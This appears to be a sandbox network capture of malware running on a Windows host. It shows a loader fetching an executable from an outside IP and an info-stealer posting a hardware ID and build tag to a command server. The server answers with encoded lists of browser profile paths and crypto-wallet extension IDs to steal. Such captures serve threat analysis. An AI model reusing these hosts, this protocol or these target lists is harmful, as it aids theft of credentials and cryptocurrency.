Nov 20, 2024 04:08:16.748003006 CET	1236	IN	Data Raw: 40 3a eb 46 80 08 c2 f9 99 0b 12 36 da 27 8c de 1f 79 e3 f1 3b b8 3e bd 30 dd 41 56 b4 9d 39 e6 c0 15 2b 54 fb 21 be 6e c3 30 c7 8e a2 b4 dd fd ce a9 25 7f f7 67 37 90 b1 1b 78 7c ce 00 dc e3 8a 29 d4 29 a3 20 78 d4 2b 67 dc 87 e1 56 60 8d 64 8b Data Ascii: @:F6'y;>0AV9+T!n0%g7x\|)) x+gV`d_42\|r+XI\|zJ2lCZ_PPvyJ@r(dZ!d8ZL`#?AUl)I.'\|~}2Uz)n b6UciEHH
Nov 20, 2024 04:08:16.748012066 CET	1236	IN	Data Raw: 3e 68 48 f3 a5 6f 74 c8 74 42 3d 68 dd 04 63 a3 f7 69 31 e6 47 a9 a1 0d c7 e0 93 bb 16 60 2b f7 84 9a a7 f1 da d5 7b e5 1a 67 b1 91 fe 19 90 b8 a9 08 80 52 40 6c 41 7b ce 40 54 cd 09 07 14 86 dd ff e5 8c af 51 11 7d fa e5 48 fe ca 50 d7 fb 43 f1 Data Ascii: >hHottB=hci1G`+{gR@lA{@TQ}HPC7?CN%@a#)Dr9i!{'3{*00{\|s97}AKa?cs\z7icfi4WVu-ID23:?^`lb%Bkz1ql]
Nov 20, 2024 04:08:16.752882004 CET	1236	IN	Data Raw: da 28 5a 98 e1 05 49 b6 a9 c2 dc f0 55 9a 52 67 b1 44 f9 49 d3 64 2c ba ed 21 b6 56 42 ab a0 13 a9 af f8 e0 46 91 8f fc c2 46 c3 9e b9 78 86 d1 39 3f 72 b5 d0 4f a5 4c 42 a1 3b 62 6b 6a c7 59 36 65 5c c2 81 7d b0 40 ce 27 8f 8a 79 a8 51 7b 54 0c Data Ascii: (ZIURgDId,!VBFFx9?rOLB;bkjY6e\}@'yQ{TSh?B%aD/sdjo!\pr.eaPB8$s8x#$-:D1N5P6(3v3k=H3YR/AL@(cFq7R5M=!DE)Yw)nA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	62511	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:20.710048914 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007564001&unit=246122658369
Nov 20, 2024 04:08:21.404330015 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	62516	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:21.866748095 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 04:08:22.573822975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:22 GMT Content-Type: application/octet-stream Content-Length: 1801728 Last-Modified: Wed, 20 Nov 2024 02:18:27 GMT Connection: keep-alive ETag: "673d46f3-1b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 a7 41 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g" i@PiA@M$a$$ $b@.rsrc$r@.idata $t@ p*$v@bvkzsckp0Ox@wpxlzhewiX@.taggant0 i"\@
Nov 20, 2024 04:08:22.573837042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:22.573889017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:22.573925972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:22.573962927 CET	1236	IN	Data Raw: df 3a ed bf bc 17 00 41 f4 ab 53 3a 7d 82 fa 36 df 81 51 62 31 e4 b8 a0 dc 83 96 63 15 3a 09 2b 4c 1a 36 43 76 f7 a3 60 b6 b1 16 ec e5 7e 40 8b 94 28 59 13 dc 7f bc c8 d3 9a 52 47 86 8a 4c d0 54 cd b4 03 6d e9 90 46 b7 2f 5c 62 5b a8 68 aa d4 92 Data Ascii: :AS:}6Qb1c:+L6Cv`~@(YRGLTmF/\b[hQ-R&_Jn,u*"s8i-)OU.R#]w?J@>7=a6y%nC?ebJ8M/$aPvct(Rd +vrRz\^lH:
Nov 20, 2024 04:08:22.574023962 CET	1236	IN	Data Raw: e6 3b 5e a0 bb 82 f2 c7 3e 0f cc bd 21 77 a3 58 e2 94 94 10 fb e2 97 1f 3c c5 c8 58 93 93 10 aa ce 95 2a 3f b6 ee 41 c9 1f 24 53 47 14 b4 7e a8 11 b7 0f 3a 7b 64 10 82 70 2f 00 d8 56 5c 45 50 21 09 93 cd d8 3b 4f eb 13 0e d0 66 db 2e c9 f3 1b 5d Data Ascii: ;^>!wX<X*?A$SG~:{dp/V\EP!;Of.]7'0h.]sZT,va[Swr;ZT)%Iegy^\|')6$Jj[2#W3'og183-[JeX1"
Nov 20, 2024 04:08:22.574058056 CET	776	IN	Data Raw: dc 4a f1 e3 83 7a b0 ef 16 6a 2a aa 3c 7a 16 c2 00 ce 24 28 1c 74 5f a8 3c 92 28 e6 50 82 e8 ef d8 dd ff 2e 2c 6d 62 c3 10 d8 0f 5c ea 5a 29 ca 4c 8e a4 90 30 43 c0 f2 e2 4f 48 42 50 94 98 93 24 43 ea f0 51 5a 14 ca 74 8e 78 90 cc ce 17 23 0f bc Data Ascii: Jzj*<z$(t_<(P.,mb\Z)L0COHBP$CQZtx#@M>mZN/WHK+9["7[$B\(\|QzmSK<^.B@\QBx.dT@v^/~Gbs#JG^GP$bWEDB
Nov 20, 2024 04:08:22.574093103 CET	1236	IN	Data Raw: e2 da f0 ed 14 73 94 2b e6 82 12 a4 bf 1e 17 93 38 3e c4 f0 fd 6c a5 8a 8c 93 ac 00 51 da a4 b4 68 8f c8 93 36 16 71 2e e3 e6 66 11 cc 8f 12 4a dd 4b f2 a3 9c ce 16 7a f3 ea a8 c3 bf 4a 41 65 4c f3 16 5e dc 06 80 86 a9 9b 16 73 f4 45 2c 06 10 66 Data Ascii: s+8>lQh6q.fJKzJAeL^sE,f.@C.{ s'Q4P[T&:D#ZlZz,)svb.Rv[-Zl'cE#MWPb(bMr:D\|B@dCsyroZ%~/
Nov 20, 2024 04:08:22.574127913 CET	1236	IN	Data Raw: 0f 3e 27 b0 a7 c2 a4 bc 74 71 84 28 10 28 2e fb 50 e2 28 6a 50 83 00 86 8f 59 46 88 f3 77 00 bc f6 2e a8 f0 a6 9a f2 e1 10 78 14 49 e6 ce a4 bc 88 81 f2 66 fc ce 17 9a f3 72 ae bd 3c e4 0b ea e3 8a 28 c2 10 dd ab 2e 1c 67 b0 f2 e2 fa a4 90 70 d6 Data Ascii: >'tq((.P(jPYFw.xIfr<(.gpbZ>@-{?t<sJbC_-ubFVGjPc$tXhb4G/@\d1cbd:_t4NTnIErsGg\|PFCbB[g(
Nov 20, 2024 04:08:22.574162006 CET	1236	IN	Data Raw: 73 40 78 aa f4 f2 58 6f d2 c6 c7 4f 94 5a 17 6a 19 9a a8 43 78 8b 6e 8a a4 40 62 7a fc 6a 59 f0 62 ae 58 52 f1 0a 64 3a dc 8f a0 0e af be b0 bc f3 26 15 fa 43 7b 4a bc dc 5a fb 36 e0 b4 02 66 5d 90 54 93 f4 42 0c 2e dc d6 6a 94 51 3b 24 e0 0c 48 Data Ascii: s@xXoOZjCxn@bzjYbXRd:&C{JZ6f]TB.jQ;$HwsTY'1Z\|(]+$b\|s:sMBdMR]s@&U"s(hxDdfZFZhb@nB.Ph:@sFjrB6Vz6ZsSR
Nov 20, 2024 04:08:22.579852104 CET	1236	IN	Data Raw: 05 1c e1 cb 2f 5c 07 cf 6b 98 bc 6e dc 5b 64 9e fe 62 43 88 a4 62 f1 be bd 50 f8 26 6d a2 a2 b6 0d 9b d0 eb 36 a6 ea 79 e5 e6 fa 90 78 be 2b 9c b5 f6 ff cb 61 c2 9c 0a 3e ee 22 f5 d3 1e 83 62 10 d9 2b 1b 3f 6d 12 3f 2c 99 06 03 75 2a 53 2b 47 fa Data Ascii: /\kn[dbCbP&m6yx+a>"b+?m?,u*S+GJDw3uV)..PDK$:7b\|B)Z!tacV[I%(!VJ8mM3)!u^4J<Zq}`0w;&6G,<=TC:,y`AWgu=s!/,k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	62548	185.215.113.206	80	7564	C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:26.734556913 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 04:08:27.438942909 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 04:08:27.442260027 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 30 44 38 30 31 37 42 30 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="hwid"430D8017B0AC3343412148------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="build"mars------EGDBAFHJJDAKEBGCFCBG--
Nov 20, 2024 04:08:27.679124117 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 4a 6a 4d 7a 49 78 59 6a 49 34 4d 57 4a 68 4d 6a 42 6d 4d 54 4e 6b 5a 44 64 6d 4e 44 45 78 4e 32 46 69 4d 44 64 6c 59 6a 51 30 4d 7a 64 6b 4e 44 5a 6d 4e 32 46 6a 4f 54 4d 34 4d 7a 46 6b 4f 44 4d 30 4f 54 46 69 4d 54 55 32 4f 54 41 34 4e 32 59 33 4d 6d 55 7a 4d 6a 64 6c 4e 6a 52 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWJjMzIxYjI4MWJhMjBmMTNkZDdmNDExN2FiMDdlYjQ0MzdkNDZmN2FjOTM4MzFkODM0OTFiMTU2OTA4N2Y3MmUzMjdlNjRmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 04:08:27.680645943 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 62 32 38 31 62 61 32 30 66 31 33 64 64 37 66 34 31 31 37 61 62 30 37 65 62 34 34 33 37 64 34 36 66 37 61 63 39 33 38 33 31 64 38 33 34 39 31 62 31 35 36 39 30 38 37 66 37 32 65 33 32 37 65 36 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="message"browsers------CBAFCAKEHDHDHIDHDGDH--
Nov 20, 2024 04:08:27.905282021 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 04:08:27.905325890 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 04:08:27.915059090 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 62 32 38 31 62 61 32 30 66 31 33 64 64 37 66 34 31 31 37 61 62 30 37 65 62 34 34 33 37 64 34 36 66 37 61 63 39 33 38 33 31 64 38 33 34 39 31 62 31 35 36 39 30 38 37 66 37 32 65 33 32 37 65 36 34 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="message"plugins------BFCAAEHJDBKJJKFHJEBK--
Nov 20, 2024 04:08:28.140444994 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 04:08:28.140494108 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 04:08:28.140532970 CET	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
